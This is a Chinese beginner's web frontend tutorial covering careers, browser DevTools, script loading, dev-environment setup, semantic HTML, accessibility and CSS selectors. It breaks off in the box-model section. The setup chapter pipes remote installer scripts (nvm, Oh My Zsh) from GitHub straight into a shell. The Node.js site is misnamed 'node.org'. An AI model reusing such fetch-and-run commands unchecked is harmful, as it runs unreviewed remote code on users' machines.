Web 前端开发

从零搭建一个生产级前端应用,你需要知道的一切

面向前端开发初学者 · React / Vue / Next.js 三路线 · 从入门到架构 · 2026
第一部分 · 基础铺垫

01. 为什么学 Web 前端

你每天打开的网页、刷的短视频 App、点的外卖小程序——你眼睛看到的一切界面、手指点击的一切按钮,都是前端工程师写的。前端是用户和数字世界之间的桥梁。

一个类比

如果把一个网站比作一家餐厅,后端就是厨房——负责做菜、管理库存。前端就是你看到的一切——菜单的设计、桌椅的摆放、服务员的态度、灯光音乐的氛围。用户不会走进厨房,他们对餐厅的全部印象,都来自前端。再好的菜(后端数据),摆盘难看(前端粗糙),顾客也不会满意。

前端开发到底在做什么

前端开发的核心工作可以归纳为四件事:

1
构建界面——用 HTML 搭建结构,用 CSS 美化样式,让页面好看、好用。
2
处理交互——用户点击按钮、输入表单、拖拽元素,用 JavaScript 响应这些操作。
3
获取数据——从后端 API 获取数据(商品列表、用户信息),展示在页面上。
4
优化体验——让页面加载快、动画流畅、手机电脑都能用、残障人士也能访问。

为什么选前端

编程方向有很多——后端、移动端、数据、运维。为什么前端特别值得学?

优势说明
所见即所得写一行代码,立刻在浏览器看到效果。反馈极快,成就感强。不像后端要等半天才能看到结果。
入门门槛低一个浏览器 + 一个记事本就能开始。不需要安装复杂的开发环境。
需求量最大每个网站、App、小程序都需要前端。招聘市场上前端岗位数量常年 Top 2。
技术生态繁荣React、Vue、Next.js、Tailwind CSS……前端是技术更新最快、最有活力的领域。
全栈可能性学会前端后,可以向全栈扩展(Next.js、Node.js),一个人搞定整个产品。
前端的挑战:技术更新快

前端技术迭代速度确实快——每年都有新框架、新工具。但这不意味着你要学所有东西。核心基础(HTML/CSS/JS)十年没变,框架只是工具。掌握了基础,学新框架只需要几天。就像学会开车,换一辆车只需要适应几分钟。

行业全景与薪资

前端开发者的就业方向非常广泛:

1
Web 前端工程师——最主流的方向。开发网站、管理后台、SaaS 平台的界面。
2
移动端前端——用 React Native / Flutter 开发 iOS 和 Android 应用。
3
全栈工程师——前端 + 后端都会。Next.js / Nuxt.js 让前端工程师也能写后端。
4
可视化工程师——用 Canvas / SVG / WebGL 做数据大屏、地图、3D 展示。
5
前端架构师——设计大型前端项目的架构、性能优化、工程化方案。薪资天花板最高。

学习路线图

这本教程按照从易到难的顺序编排,建议按以下节奏学习:

1
第 1-10 章:基础铺垫(2-3 周)——HTML、CSS、JavaScript、TypeScript、HTTP。地基打牢。
2
第 11-27 章:框架实战(3-4 周)——React 和 Vue 二选一深入学,其余了解。做项目。
3
第 28-40 章:工程化 + CSS 进阶(2-3 周)——构建工具、测试、代码规范。从"能跑"到"能维护"。
4
第 41-55 章:核心能力 + 可视化(3-4 周)——认证、请求、缓存、图表。前端的"内功"。
5
第 56-77 章:架构 + 实战(持续学习)——SSR、性能优化、全栈、微前端。高级工程师的必修课。
给零基础同学的建议

如果你完全没写过代码,建议先花 1 周学 HTML + CSS 基础(标签、选择器、盒模型),再花 1 周学 JavaScript 基础(变量、函数、循环),然后开始学这本教程。不需要学得很深,能看懂简单的 for 循环和函数定义就够了。推荐用 MDN Web Docs(developer.mozilla.org)快速入门。

学完能做什么

学完这本教程,你将具备以下能力:独立开发一个完整的前端应用、用 React 或 Vue 构建复杂界面、用 TypeScript 保证代码质量、用 Next.js 实现服务端渲染、用 Docker 部署前端项目、编写自动化测试。这些能力足以胜任初级到中级前端开发工程师的岗位。

AI 时代,前端工程师的机遇

2024-2026 年,AI 工具正在深刻改变前端开发方式。与其担心被替代,不如主动拥抱变化:

AI 工具能力前端工程师如何利用
GitHub Copilot代码自动补全、生成函数写样板代码快 3-5 倍,把精力放在架构和体验上
v0 by Vercel用自然语言生成 UI 组件快速原型设计,从描述到可运行组件只需几分钟
Cursor / Claude CodeAI 辅助编码、重构、调试理解大型代码库、跨文件重构、自动生成测试
AI 不会替代前端工程师,但会替代不用 AI 的前端工程师

AI 擅长生成样板代码,但不擅长理解用户需求、设计交互体验、优化性能、处理边界情况。这些恰恰是高级前端工程师的核心价值。学会用 AI 提效 10 倍,你就有更多时间做真正有创造力的工作。

打造个人品牌:Portfolio 与 GitHub

// GitHub Profile 就是你的技术简历,HR 和面试官一定会看

// 1. GitHub Profile README(置顶仓库)
// 创建一个和你用户名同名的仓库,README.md 会显示在你的主页
// 内容:自我介绍、技术栈、项目链接、联系方式

// 2. Pinned Repositories(置顶项目)
// 选择 6 个高质量项目,确保:
// - 有清晰的 README(项目截图、功能说明、技术栈、运行方式)
// - 有 commit 历史(不要一次性提交,展示持续迭代)
// - 有 demo 链接(部署到 Vercel / Netlify)

// 3. Portfolio 网站(必备)
// 推荐技术栈:Next.js + Tailwind CSS + Framer Motion
// 内容:个人简介、项目展示、技术博客、联系方式
// 部署到 yourname.vercel.app,绑定自定义域名
开源贡献加分项

给知名开源项目提交 PR(哪怕是修复文档错别字),在 GitHub 上有绿色的 contribution graph,参加 Hacktoberfest 等活动。这些都能让你的简历在众多候选人中脱颖而出。记住:质量比数量重要——一个有 50 star 的项目,比 50 个没有 star 的项目更有说服力。

远程工作与自由职业

前端开发是远程工作友好度最高的职业之一——只需要一台电脑和网络就能工作。

1
远程全职——加入远程团队(GitLab、Automattic 等公司全员远程)。薪资和坐班一样,但省去通勤。
2
自由职业(Freelance)——在 Upwork、Toptal、Fiverr 接单。按项目收费,时间自由。
3
独立开发者——用前端技术做自己的产品(SaaS 工具、Chrome 插件、小程序),通过付费订阅变现。
4
技术自媒体——写技术博客、录视频教程、做开源项目。积累影响力后可以接广告、出课程。
自由职业的现实

自由职业听起来很美好,但需要自律、沟通能力和商业意识。建议先在公司积累 2-3 年经验、建立人脉和作品集,再考虑自由职业。初期可以通过兼职接单试水,等月收入稳定超过工资的 1.5 倍时再全职转自由职业。

02. 浏览器与开发者工具

浏览器是前端开发的"运行环境"——你的每一行代码最终都在浏览器中执行。不懂浏览器,就像厨师不了解自己的灶台。

一个类比

浏览器就像一个"迷你操作系统"。它有渲染引擎(画页面的画师)、JavaScript 引擎(执行代码的工人)、网络模块(收发信件的邮递员)、存储系统(放东西的仓库)。你写的 HTML/CSS/JS 代码,分别交给这四个"部门"处理。

浏览器的内部结构

当你在浏览器输入一个网址,发生了什么?

1
网络层——浏览器向服务器发送 HTTP 请求,下载 HTML 文件。
2
HTML 解析器——把 HTML 代码解析成 DOM 树(页面的骨架结构)。
3
CSS 解析器——把 CSS 代码解析成 CSSOM 树(每个元素的样式)。
4
渲染树——把 DOM 树和 CSSOM 树合并,生成渲染树(哪些元素要显示、什么样式)。
5
布局(Layout)——计算每个元素在屏幕上的精确位置和大小。
6
绘制(Paint)——把像素画到屏幕上。就像画师按照图纸作画。

主流浏览器对比

浏览器JS 引擎渲染引擎特点
ChromeV8Blink市场占有率最高,DevTools 最强大
FirefoxSpiderMonkeyGecko开源,CSS Grid 调试最好
SafariJavaScriptCoreWebKitApple 设备默认,iOS 上必须兼容
EdgeV8BlinkWindows 默认,兼容 Chrome 插件
浏览器兼容性

不同浏览器对新特性的支持程度不同。开发时用 caniuse.com 查询某个 API 的兼容性。2026 年,你主要需要兼容 Chrome(70%+ 市场份额)、Safari(iOS 必须)、Firefox。IE 已经彻底退出历史舞台,不用管了。

Chrome DevTools 调试利器

Chrome DevTools 是前端开发最重要的工具,没有之一。按 F12 或 Ctrl+Shift+I(macOS: Cmd+Option+I)打开。

Elements 面板:查看和修改页面结构

// 在 Elements 面板中你可以:
// 1. 点击左上角的箭头图标(Ctrl+Shift+C),然后点击页面上的任意元素
//    → 自动定位到该元素的 HTML 代码
// 2. 双击标签名、属性、文本,直接修改
//    → 页面实时更新(刷新后恢复)
// 3. 右侧面板查看/修改 CSS 样式
//    → 可以添加、禁用、修改任何 CSS 属性
// 4. 查看元素的盒模型图
//    → margin、border、padding、content 一目了然

Console 面板:JavaScript 控制台

// Console 是你的"试验田"——可以运行任何 JS 代码

// 基本输出
console.log('Hello World')          // 普通日志
console.warn('这是一个警告')         // 黄色警告
console.error('这是一个错误')        // 红色错误
console.table([{name:'张三',age:20},{name:'李四',age:25}])  // 表格形式

// 调试技巧
console.time('计时器')
// ... 某些操作 ...
console.timeEnd('计时器')            // 输出操作耗时

// 选择元素
document.querySelector('.btn')       // 选中页面上的按钮
$0                                   // 当前在 Elements 面板选中的元素
$$('div')                            // document.querySelectorAll 的简写

Network 面板:网络请求监控

Network 面板显示页面加载过程中所有的网络请求——HTML、CSS、JS、图片、API 请求。

列名含义关注点
StatusHTTP 状态码200 成功,404 找不到,500 服务器错误
Type请求类型document、stylesheet、script、fetch/xhr
Size文件大小过大的文件需要优化(压缩、懒加载)
Time加载时间超过 1 秒的请求需要关注
Waterfall加载瀑布图查看请求的排队、等待、下载时间分布
实用技巧

在 Network 面板中,勾选 "Disable cache" 可以模拟首次访问(无缓存)。右键点击一个请求 → "Copy as fetch" 可以直接复制为 JavaScript 的 fetch 代码。用过滤栏可以只看 XHR(API 请求)或 JS 文件。

其他重要面板

面板用途典型场景
Application查看/修改本地存储Cookie、localStorage、sessionStorage、IndexedDB
Performance性能分析录制页面操作,找出卡顿原因(长任务、重排重绘)
Lighthouse综合审计一键生成性能、SEO、无障碍评分报告
Sources源码调试打断点、单步执行、查看调用栈、Watch 变量
移动端调试

在 DevTools 中按 Ctrl+Shift+M(或点击左上角的手机图标)可以切换到移动端模拟模式——模拟不同手机屏幕尺寸、触摸事件、网络速度(3G/4G)。真机调试需要用 Chrome 的 "Remote debugging" 或 vConsole(在手机上显示控制台)。

script 标签的加载行为

浏览器遇到 <script> 标签时,JavaScript 会阻塞 HTML 解析——这是页面加载慢的常见原因之一。理解不同的脚本加载方式,是性能优化的基本功。

1
普通 script——浏览器遇到标签就暂停解析,下载并执行完脚本后才继续。脚本越多,页面白屏时间越长。
2
async script——脚本并行下载,但下载完立即执行(此时会阻塞解析)。多个 async 脚本的执行顺序不确定。
3
defer script——脚本并行下载,但等到 DOM 解析完成后才执行。多个 defer 脚本按文档顺序执行。
4
type="module"——ES 模块,默认行为等同于 defer(并行下载,DOM 解析后按顺序执行)。同时自动启用严格模式。
<!-- 1. 普通 script:阻塞解析 -->
<!-- 浏览器下载并执行完 app.js 后,才继续解析后面的 HTML -->
<script src="app.js"></script>
<p>这段文字要等 app.js 加载完才会被解析</p>

<!-- 2. async:并行下载,下载完立即执行 -->
<!-- 适合独立的第三方脚本(如统计、广告),不依赖其他脚本也不被依赖 -->
<script src="analytics.js" async></script>
<script src="ads.js" async></script>
<!-- analytics.js 和 ads.js 谁先下载完谁先执行,顺序不确定 -->

<!-- 3. defer:并行下载,DOM 解析完后按顺序执行 -->
<!-- 适合有依赖关系的业务脚本 -->
<script src="utils.js" defer></script>
<script src="app.js" defer></script>
<!-- 保证先执行 utils.js,再执行 app.js -->

<!-- 4. type="module":ES 模块,默认 defer 行为 -->
<script type="module" src="main.js"></script>
<!-- 等同于 defer:并行下载,DOM 解析后执行 -->
<!-- 额外特性:自动启用严格模式、拥有独立作用域 -->
如何选择?

大多数场景用 defer(或 type="module")就对了——不阻塞解析、保持执行顺序。只有完全独立的第三方脚本(如 Google Analytics)才用 async。尽量避免不加任何属性的普通 <script>,除非你明确需要阻塞行为(极少见)。

// 用 JavaScript 动态创建 script 标签,默认就是 async 行为
const script = document.createElement('script')
script.src = 'heavy-lib.js'
script.async = true   // 默认就是 true
document.head.appendChild(script)

// 如果需要等它加载完再执行后续逻辑:
script.onload = () => {
  console.log('heavy-lib 加载完成,可以安全使用了')
}

资源提示:preload / prefetch / preconnect

浏览器在解析 HTML 时才会发现需要加载的资源(CSS、JS、图片、字体),这会导致资源发现时间偏晚。通过 <link rel="..."> 资源提示,你可以提前告知浏览器哪些资源马上要用、哪些将来可能用。

<!-- preload:当前页面马上需要的资源,优先级最高 -->
<!-- 浏览器会立即开始下载,不会等到解析到对应的标签 -->
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">
<link rel="preload" href="/js/app.js" as="script">
<link rel="preload" href="/images/hero.webp" as="image">

<!-- prefetch:将来可能需要的资源(如下一页),优先级最低 -->
<!-- 浏览器会在空闲时下载,不会影响当前页面的加载 -->
<link rel="prefetch" href="/page2.html">
<link rel="prefetch" href="/js/heavy-feature.js">

<!-- preconnect:提前建立到目标域名的 TCP + TLS 连接 -->
<!-- 连接建立需要时间(DNS 查询 → TCP 握手 → TLS 协商),提前做可节省 100-300ms -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://cdn.example.com">

<!-- dns-prefetch:只提前做 DNS 查询,开销比 preconnect 小 -->
<link rel="dns-prefetch" href="https://api.example.com">
实战建议

preload 用于关键资源——首屏渲染必需的字体、关键 CSS、主 JS。prefetch 用于下一页资源——用户很可能点"下一页"或某个按钮后需要的资源。preconnect 用于第三方域名——CDN、API 服务器、字体服务。不要滥用 preload,加载过多 "关键资源" 反而会抢占带宽。

<!-- 典型优化组合 -->
<head>
  <!-- 提前建立连接(省 DNS + TCP + TLS 时间) -->
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

  <!-- 关键字体立即预加载 -->
  <link rel="preload" href="/fonts/Inter-Regular.woff2" as="font"
        type="font/woff2" crossorigin>

  <!-- 关键 CSS -->
  <link rel="preload" href="/css/above-fold.css" as="style">

  <!-- 主脚本 defer 加载 -->
  <script src="/js/app.js" defer></script>
</head>
用 DevTools 验证效果

在 Network 面板中,preload 的资源会显示 Priority: Highest,prefetch 的资源显示 Priority: Lowest。preconnect 的效果体现在后续请求的 "Initial connection" 时间变为 0(连接已建立)。勾选 "Disable cache" 每次测试都模拟首次加载。

03. 开发环境搭建

在写第一行代码之前,你需要把"工具箱"准备好。就像做菜之前先把刀、砧板、锅摆好。

一个类比

前端开发的工具链就像一个乐队:编辑器是你的吉他——你用它写代码。Node.js是鼓手——提供节奏(运行环境)。Git是录音师——记录每次排练。浏览器是舞台——你在这里展示作品。缺了任何一个,乐队都演不了。

安装 Node.js

Node.js 是 JavaScript 的服务器运行环境。前端开发用它来运行构建工具、安装依赖包。

1
Windows / macOS——去 node.org 下载 LTS(长期支持)版本,一路 Next 安装。打开终端输入 node -v 和 npm -v 验证。
2
推荐用 nvm 管理版本——nvm(Node Version Manager)让你可以安装和切换多个 Node.js 版本。nvm install 20 安装 Node 20,nvm use 20 切换。
3
推荐用 pnpm 代替 npm——pnpm 更快、更省磁盘空间。npm install -g pnpm 安装后,用 pnpm install 代替 npm install。
版本选择

推荐 Node.js 20 LTS 或 22 LTS。不要用奇数版本(如 21、23),它们是实验版本。用 node -v 确认版本。npm 会随 Node.js 一起安装。

nvm 详细安装指南(各平台)

nvm(Node Version Manager)是管理多个 Node.js 版本的最佳工具。不同平台安装方式不同:

# === macOS / Linux(nvm)===
# 一行命令安装
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
# 或用 wget
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash

# 安装后重启终端,验证
nvm --version

# === Windows(nvm-windows)===
# Windows 不能用原版 nvm,需要 nvm-windows
# 去 https://github.com/coreybutler/nvm-windows/releases 下载 nvm-setup.exe 安装
# 安装后重启终端,验证
nvm version

# === 常用命令(所有平台通用)===
nvm install 20            # 安装 Node.js 20.x 最新版
nvm install 22            # 安装 Node.js 22.x
nvm use 20                # 切换到 Node 20
nvm list                  # 列出已安装的版本
nvm alias default 20      # 设置默认版本(新终端自动使用)
.nvmrc 锁定项目 Node 版本

在项目根目录创建 .nvmrc 文件,写入版本号(如 20),团队成员执行 nvm use 即可自动切换到正确版本。这避免了"我这里能跑,你那里报错"的版本不一致问题。

# 项目根目录创建 .nvmrc
echo "20" > .nvmrc

# 团队成员克隆项目后
nvm use    # 自动读取 .nvmrc,切换到 Node 20

pnpm 详解:为什么比 npm 更好

pnpm 是新一代包管理器,核心优势在于磁盘空间效率和安装速度:

特性npmpnpm
存储方式每个项目的 node_modules 独立复制所有依赖全局存储(content-addressable store),项目通过硬链接引用,磁盘占用减少 60-80%
安装速度较慢(重复下载和解压)极快(已缓存的包直接硬链接,无需重复下载)
幽灵依赖存在(node_modules 扁平化,可访问未声明的依赖)不存在(严格隔离,只能访问 package.json 中声明的依赖)
磁盘占用10 个项目 × 500MB = 5GB10 个项目 × 500MB ≈ 1.5GB(共享全局存储)
# 安装 pnpm(推荐用 corepack,Node.js 16.13+ 内置)
corepack enable
corepack prepare pnpm@latest --activate

# 或者用 npm 全局安装
npm install -g pnpm

# pnpm 常用命令(与 npm 对照)
pnpm install              # = npm install(安装所有依赖)
pnpm add vue              # = npm install vue(安装并保存到 dependencies)
pnpm add -D vitest        # = npm install -D vitest(安装到 devDependencies)
pnpm remove vue           # = npm uninstall vue(卸载依赖)
pnpm run dev              # = npm run dev(运行脚本)
pnpm dlx create-vite      # = npx create-vite(临时执行包)

环境变量与 .env 文件

前端项目经常需要区分开发环境和生产环境的配置(如 API 地址)。Vite 使用 .env 文件管理环境变量:

# 项目根目录创建以下文件:

# .env                # 所有环境都会加载
# .env.local          # 所有环境都会加载,但被 gitignore
# .env.development    # 仅开发环境加载
# .env.production     # 仅生产环境加载
# .env.development.local  # 仅开发环境加载,被 gitignore

# .env 文件内容示例
VITE_API_BASE_URL=http://localhost:3000/api
VITE_APP_TITLE=我的应用

# ⚠️ 重要:Vite 要求客户端可用的变量必须以 VITE_ 开头
# 不以 VITE_ 开头的变量不会暴露给前端代码

# 在代码中使用(不是 process.env,是 import.meta.env)
console.log(import.meta.env.VITE_API_BASE_URL)
console.log(import.meta.env.MODE)          // 'development' 或 'production'
console.log(import.meta.env.PROD)          // true / false
console.log(import.meta.env.DEV)           // true / false
.env 文件安全

永远不要把密钥(API Secret、数据库密码)写在 .env 文件中并提交到 Git。前端代码是公开的,任何写在 VITE_ 前缀变量里的东西都会被打包到浏览器中。敏感配置应该通过后端 API 中转。

终端环境配置

前端开发需要一个好用的终端。推荐配置:

平台推荐终端说明
WindowsGit Bash(随 Git 安装)或 WSL2Git Bash 提供 Linux 风格命令行;WSL2 完整 Linux 环境,推荐进阶用户
macOSiTerm2 + Oh My Zsh自带的 Terminal 已够用,iTerm2 功能更强
Linux系统终端 + Zsh大多数发行版自带 Bash,可安装 Zsh 获得更好体验
# Windows 用户推荐:安装 WSL2(Windows Subsystem for Linux)
# 在 PowerShell 中执行:
wsl --install
# 安装后获得完整 Ubuntu 环境,所有 Linux 工具均可使用

# macOS/Linux 用户推荐:安装 Zsh + Oh My Zsh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

# 推荐安装的命令行工具
npm install -g tig                # Git 命令行可视化
npm install -g trash-cli          # 安全删除文件(trash 替代 rm)
npm install -g http-server        # 快速启动静态文件服务器

VS Code 配置

VS Code 是前端开发最流行的编辑器(免费、插件丰富、启动快):

# 必装插件(在 VS Code 扩展市场搜索安装)
1. ESLint                    # JavaScript / TypeScript 代码检查
2. Prettier                  # 代码自动格式化
3. Tailwind CSS IntelliSense # Tailwind 类名补全(如果用 Tailwind)
4. Auto Rename Tag           # 修改 HTML 标签时自动修改配对标签
5. Path Intellisense         # 文件路径自动补全
6. GitLens                   # Git 增强(查看谁改了哪行代码)
7. Error Lens                # 在行内直接显示错误信息
8. Thunder Client            # API 测试(类似 Postman)

推荐配置(在 .vscode/settings.json 中):

{
  "editor.formatOnSave": true,
  "editor.defaultFormatter": "esbenp.prettier-vscode",
  "editor.codeActionsOnSave": {
    "source.fixAll": "explicit",
    "source.organizeImports": "explicit"
  },
  "editor.tabSize": 2,
  "editor.wordWrap": "on",
  "files.autoSave": "afterDelay",
  "emmet.includeLanguages": {
    "javascript": "javascriptreact",
    "typescript": "typescriptreact"
  }
}

Git 基础

Git 是版本控制系统——记录代码的每次修改,让你能回退到任何历史版本。前端开发必备。

# 1. 安装 Git
# Windows: 去 git-scm.com 下载安装
# macOS: brew install git
# Linux: sudo apt install git

# 2. 配置身份
git config --global user.name "你的名字"
git config --global user.email "your@email.com"

# 3. 初始化仓库
git init
git add .
git commit -m "初始提交"

# 4. 日常工作流
git status                    # 查看哪些文件改了
git diff                      # 查看具体改了什么
git add .                     # 暂存所有修改
git commit -m "feat: 添加登录页面"    # 提交

# 5. 分支管理
git checkout -b feature-login # 创建并切换分支
git checkout main             # 回到主分支
git merge feature-login       # 合并分支

# 6. 远程仓库
git remote add origin https://github.com/you/repo.git
git push -u origin main       # 推送到 GitHub
git pull origin main          # 拉取最新代码
Git 提交规范

好的 commit message 能让团队快速理解每次修改的目的。推荐格式:类型: 简短描述。类型包括:feat(新功能)、fix(修复)、docs(文档)、style(样式)、refactor(重构)、test(测试)。例如:feat: 添加用户注册页面、fix: 修复移动端导航栏溢出。

.gitignore 文件

# 前端项目常用的 .gitignore
node_modules/        # 依赖包(太大,不提交)
dist/                # 构建产物(自动生成)
.env                 # 环境变量(可能含密钥)
.env.local           # 本地环境变量
*.log                # 日志文件
.DS_Store            # macOS 系统文件
.vscode/             # 编辑器配置(可选)

第一个前端项目

用 Vite 创建一个 React 项目(30 秒搞定):

# 1. 创建项目
pnpm create vite my-app --template react-ts
cd my-app

# 2. 安装依赖
pnpm install

# 3. 启动开发服务器
pnpm dev
# 浏览器自动打开 http://localhost:5173

# 4. 项目结构
my-app/
├── public/           # 静态资源(不会被打包处理)
├── src/
│   ├── App.tsx       # 主组件
│   ├── main.tsx      # 入口文件
│   └── index.css     # 全局样式
├── index.html        # HTML 模板
├── package.json      # 项目配置和依赖
├── tsconfig.json     # TypeScript 配置
└── vite.config.ts    # Vite 构建配置
常见问题

如果 pnpm create vite 报错,试试 npm create vite@latest。如果端口 5173 被占用,Vite 会自动用下一个可用端口(5174、5175……)。如果 node -v 命令找不到,说明 Node.js 没有加入系统 PATH,重启终端或重新安装。

04. HTML 语义化与无障碍

HTML(HyperText Markup Language)是网页的骨架。它不是编程语言,而是标记语言——用标签告诉浏览器"这是标题"、"这是段落"、"这是链接"。

一个类比

HTML 就像建筑的钢筋结构——你看不到它(被 CSS 装饰遮住了),但它决定了建筑能不能立起来。如果结构设计不好(用 <div> 堆砌一切),建筑虽然能立,但不安全、不规范、搜索引擎找不到。

语义化标签

语义化就是用正确的标签描述内容的含义,而不是全用 <div>。

<!-- ❌ 不语义化:全用 div,浏览器和搜索引擎看不懂 -->
<div class="header">
  <div class="nav">
    <div class="nav-item">首页</div>
  </div>
</div>
<div class="main">
  <div class="article">
    <div class="title">文章标题</div>
  </div>
</div>

<!-- ✅ 语义化:标签自带含义,浏览器和搜索引擎都能理解 -->
<header>
  <nav>
    <a href="/">首页</a>
  </nav>
</header>
<main>
  <article>
    <h1>文章标题</h1>
  </article>
</main>

常用语义化标签

标签含义使用场景
<header>页头网站顶部的 Logo、导航栏
<nav>导航主导航菜单、面包屑
<main>主要内容页面的核心内容(每个页面只有一个)
<article>独立内容博客文章、新闻报道、评论
<section>内容分区文章的章节、页面的功能区块
<aside>侧边栏广告、相关推荐、目录
<footer>页脚版权信息、联系方式、底部链接
<figure>独立内容块图片 + 图片说明(<figcaption>)
<time>时间<time datetime="2026-06-27">今天</time>
<mark>高亮搜索结果中的关键词高亮

表单与输入

表单是用户与页面交互的核心。HTML5 提供了丰富的原生表单控件:

<form action="/api/register" method="POST">
  <!-- 文本输入 -->
  <label for="username">用户名</label>
  <input type="text" id="username" name="username"
         placeholder="请输入用户名" required minlength="3" maxlength="20">

  <!-- 邮箱(自动校验格式) -->
  <label for="email">邮箱</label>
  <input type="email" id="email" name="email" required>

  <!-- 密码 -->
  <label for="pwd">密码</label>
  <input type="password" id="pwd" name="password" required minlength="8">

  <!-- 日期选择 -->
  <input type="date" name="birthday">

  <!-- 数字(带范围限制) -->
  <input type="number" name="age" min="1" max="150" value="18">

  <!-- 下拉选择 -->
  <select name="city">
    <option value="">请选择城市</option>
    <option value="beijing">北京</option>
    <option value="shanghai">上海</option>
  </select>

  <!-- 多选框 -->
  <label><input type="checkbox" name="agree" required> 我同意用户协议</label>

  <!-- 提交按钮 -->
  <button type="submit">注册</button>
</form>
label 的重要性

每个表单控件都应该有对应的 <label> 标签。用 for 属性关联控件的 id。好处:1)点击 label 也能聚焦输入框(扩大点击区域);2)屏幕阅读器能正确朗读;3)搜索引擎能理解表单含义。

无障碍(Accessibility / a11y)

无障碍是指让残障人士(视障、听障、肢体障碍)也能使用你的网站。这不仅是道德责任,很多国家有法律要求。

1
图片必须有 alt 属性——<img src="cat.jpg" alt="一只橘猫趴在沙发上">。视障用户靠屏幕阅读器"听"页面,alt 是图片的"语音描述"。
2
颜色对比度要足够——文字和背景的对比度至少 4.5:1。灰色文字配白色背景可能看不清。用 WebAIM Contrast Checker 检查。
3
键盘可以操作一切——用 Tab 键切换焦点,Enter 键确认,Esc 键关闭弹窗。不能只靠鼠标。
4
使用 ARIA 属性——当原生 HTML 标签不够用时,用 aria-label、role 等属性补充语义。
<!-- 无障碍示例:自定义按钮 -->
<!-- ❌ 不好:div 没有按钮语义,屏幕阅读器不认识 -->
<div class="btn" onclick="submit()">提交</div>

<!-- ✅ 好:用原生 button,自带键盘支持和语义 -->
<button onclick="submit()">提交</button>

<!-- ✅ 好:如果必须用 div,补上 ARIA 属性 -->
<div class="btn" role="button" tabindex="0"
     aria-label="提交表单"
     onkeydown="if(event.key==='Enter')submit()">
  提交
</div>
SEO 与语义化的关系

搜索引擎(Google、百度)的爬虫就是"视障用户"——它看不懂图片,只能读懂文字和标签。语义化的 HTML 让搜索引擎更容易理解你的页面内容,从而获得更好的搜索排名。这就是为什么 <h1> 比 <div class="title"> 更重要。

HTML5 高级语义元素

除了常见的 <header>、<nav>,HTML5 还提供了一些实用的交互式语义元素:

<!-- dialog:原生模态框,自带焦点捕获和 ESC 关闭 -->
<dialog id="myDialog">
  <p>确认删除此条目?</p>
  <button onclick="this.closest('dialog').close()">取消</button>
</dialog>
<button onclick="document.getElementById('myDialog').showModal()">打开</button>

<!-- details/summary:原生折叠面板,无需 JS -->
<details>
  <summary>常见问题 FAQ</summary>
  <p>这是折叠展开的内容,默认隐藏,点击 summary 即可展开。</p>
</details>

<!-- template:惰性模板,内容不会被渲染,JS 按需克隆使用 -->
<template id="cardTpl">
  <div class="card">
    <h3></h3>
    <p></p>
  </div>
</template>

<!-- datalist:为 input 提供下拉选项提示 -->
<input list="frameworks" placeholder="选择框架" />
<datalist id="frameworks">
  <option value="React">
  <option value="Vue">
  <option value="Svelte">
  <option value="Angular">
</datalist>

inputmode 与移动端键盘

inputmode 属性告诉移动端浏览器弹出哪种虚拟键盘,比 type 更精准:

<!-- inputmode="numeric":弹出数字键盘(适合验证码、金额) -->
<input inputmode="numeric" pattern="[0-9]*" placeholder="输入验证码" />

<!-- inputmode="decimal":带小数点的数字键盘 -->
<input inputmode="decimal" placeholder="输入金额" />

<!-- inputmode="tel":电话键盘 -->
<input inputmode="tel" placeholder="手机号码" />

<!-- inputmode="email":带 @ 符号的键盘 -->
<input inputmode="email" placeholder="邮箱地址" />

<!-- inputmode="url":带 .com 等快捷键的键盘 -->
<input inputmode="url" placeholder="网址" />

<!-- inputmode="search":带"搜索"按钮的键盘 -->
<input inputmode="search" placeholder="搜索..." />

SEO 结构化数据(JSON-LD)

JSON-LD 是 Google 推荐的结构化数据格式,帮助搜索引擎理解页面内容,获得富摘要(星级评分、面包屑等):

<!-- 在 <head> 中添加 JSON-LD 结构化数据 -->
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": "Web 前端开发教程 2026",
  "author": { "@type": "Person", "name": "作者名" },
  "datePublished": "2026-06-27",
  "image": "https://example.com/cover.jpg",
  "publisher": {
    "@type": "Organization",
    "name": "网站名",
    "logo": { "@type": "ImageObject", "url": "https://example.com/logo.png" }
  }
}
</script>
语义化检查清单

写 HTML 时问自己三个问题:(1)这个元素用原生标签能实现吗?(2)屏幕阅读器能理解这个结构吗?(3)搜索引擎能提取出关键信息吗?如果答案都是"是",你的 HTML 就是合格的。

05. CSS 基础与盒模型

CSS(Cascading Style Sheets)负责页面的"外观"——颜色、字体、间距、布局。HTML 搭骨架,CSS 穿衣服。

一个类比

如果 HTML 是一个人的身体骨架,CSS 就是这个人的穿着打扮——衣服的颜色(color)、发型(font-family)、身高(height)、胖瘦(width)、站位(position)。同样的骨架,不同的 CSS,可以变成完全不同的"人"。

选择器

选择器告诉 CSS "你要给谁穿衣服":

/* 基本选择器 */
p { color: blue; }              /* 标签选择器:所有 p 元素 */
.intro { font-weight: bold; }   /* 类选择器:class="intro" 的元素 */
#logo { width: 120px; }         /* ID 选择器:id="logo" 的元素 */

/* 组合选择器 */
.nav a { color: white; }        /* 后代选择器:.nav 里面的所有 a */
.nav > a { color: white; }      /* 子选择器:.nav 直接子元素的 a */
h2 + p { margin-top: 0; }       /* 相邻兄弟:紧跟 h2 后面的 p */
h2 ~ p { color: gray; }         /* 通用兄弟:h2 后面的所有 p */

/* 属性选择器 */
input[type="email"] { border-color: blue; }  /* type=email 的 input */
a[href^="https"] { color: green; }           /* href 以 https 开头的 a */
a[href$=".pdf"] { color: red; }              /* href 以 .pdf 结尾的 a */

/* 伪类选择器 */
a:hover { color: red; }         /* 鼠标悬停 */
a:visited { color: purple; }    /* 已访问的链接 */
li:first-child { font-weight: bold; }  /* 第一个子元素 */
li:nth-child(2n) { background: #f5f5f5; }  /* 偶数行 */

/* 伪元素选择器 */
p::first-line { font-weight: bold; }   /* 第一行 */
p::before { content: "★ "; }           /* 元素前面插入内容 */
p::after { content: " ✓"; }            /* 元素后面插入内容 */

盒模型:CSS 的核心概念

HTML 中的每个元素都是一个"盒子"。盒模型描述了这个盒子由四层组成:
